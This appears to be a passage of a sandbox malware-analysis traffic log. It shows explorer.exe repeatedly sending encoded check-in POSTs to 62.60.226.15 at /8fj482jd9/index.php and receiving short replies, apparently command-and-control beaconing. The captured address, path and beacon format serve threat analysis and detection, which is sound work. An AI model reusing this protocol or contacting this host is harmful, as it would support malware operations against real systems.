Dec 16, 2024 15:28:43.470067024 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:44.747591019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	49764	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:46.500639915 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:47.798458099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	49765	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:49.422514915 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:50.703238964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.10	49766	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:52.453998089 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:53.721385956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.10	49767	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:55.363886118 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:56.644545078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.10	49768	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:58.392465115 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:59.674299002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.10	49769	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:01.317910910 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:02.593630075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.10	49770	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:04.346657991 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:05.614727974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.10	49771	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:07.376087904 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:08.634172916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.10	49772	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:10.375614882 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:11.643517971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.10	49773	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:13.282543898 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:14.553715944 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.10	49774	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:16.298041105 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:17.565325975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.10	49775	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:19.204518080 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:20.475075006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.10	49776	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:22.220531940 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:23.497365952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.10	49777	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:25.128011942 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:26.426583052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.10	49778	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:28.180047989 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:29.457067013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.10	49779	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:31.095058918 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:32.365231991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.10	49780	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:34.111773968 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:35.385090113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.10	49781	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:37.018239021 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:38.291567087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.10	49782	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:40.035778999 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:41.307801008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.10	49783	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:42.941560984 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:44.244076967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.10	49784	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:45.984971046 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:47.343539000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.10	49785	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:48.970845938 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:50.241635084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.10	49786	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:51.995702028 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:53.259152889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.10	49787	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
